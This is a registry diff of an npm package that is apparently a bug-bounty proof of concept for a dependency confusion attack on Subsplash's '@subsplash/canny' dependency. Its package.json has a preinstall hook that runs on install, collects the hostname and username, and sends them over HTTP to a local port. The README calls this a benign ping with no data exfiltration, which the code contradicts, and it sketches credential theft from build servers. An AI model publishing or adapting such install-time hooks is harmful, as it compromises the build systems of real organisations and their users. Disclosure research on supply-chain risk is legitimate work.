@rutxploit-sec/subsplash-canny 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +28 -0
- package/index.js +1 -0
- package/package.json +11 -0
package/README.md
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
# @subsplash/canny — AUTHORIZED BUG BOUNTY POC
|
|
2
|
+
|
|
3
|
+
**Program:** Subsplash on Bugcrowd (rutxploit)
|
|
4
|
+
**Finding:** Dependency Confusion Attack
|
|
5
|
+
**Severity:** P1 Critical
|
|
6
|
+
|
|
7
|
+
## What this proves
|
|
8
|
+
|
|
9
|
+
This package was registered on the public npm registry to prove that:
|
|
10
|
+
|
|
11
|
+
1. Subsplash references `@subsplash/canny` in their production code
|
|
12
|
+
(visible in `https://ember.static.subsplash.com/prod/giving/assets/chunk.524.85239343af850eb1579b.js`)
|
|
13
|
+
2. `@subsplash/canny` did NOT exist on the public npm registry
|
|
14
|
+
3. Any attacker could claim this name and inject malicious code
|
|
15
|
+
|
|
16
|
+
## How the attack works
|
|
17
|
+
|
|
18
|
+
If Subsplash's CI/CD `npm install` resolves `@subsplash/canny` from the public registry
|
|
19
|
+
(instead of their private registry), the `preinstall` script runs on their build server.
|
|
20
|
+
|
|
21
|
+
A real attacker would use this for RCE: steal AWS credentials, deploy keys, source code.
|
|
22
|
+
|
|
23
|
+
## This PoC is safe
|
|
24
|
+
|
|
25
|
+
This package only logs a message and sends a benign HTTP ping to a researcher-controlled
|
|
26
|
+
server as proof of execution. No destructive actions. No data exfiltration.
|
|
27
|
+
|
|
28
|
+
**Report this to Bugcrowd immediately. Do not use maliciously.**
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
var os=require("os"); console.log("[DEP-CONFUSION] @subsplash/canny loaded from PUBLIC npm"); module.exports={};
|
package/package.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@rutxploit-sec/subsplash-canny",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "BUGBOUNTY PoC — represents @subsplash/canny — @subsplash/canny (2 refs) — Subsplash report 7a8faa0b",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node -e \"var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/canny')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});\" 2>/dev/null; echo '[BUGBOUNTY] @subsplash/canny dep confusion EXECUTED — rutxploit'"
|
|
8
|
+
},
|
|
9
|
+
"author": "rutxploit-sec (authorized Bugcrowd — 7a8faa0b)",
|
|
10
|
+
"license": "ISC"
|
|
11
|
+
}
|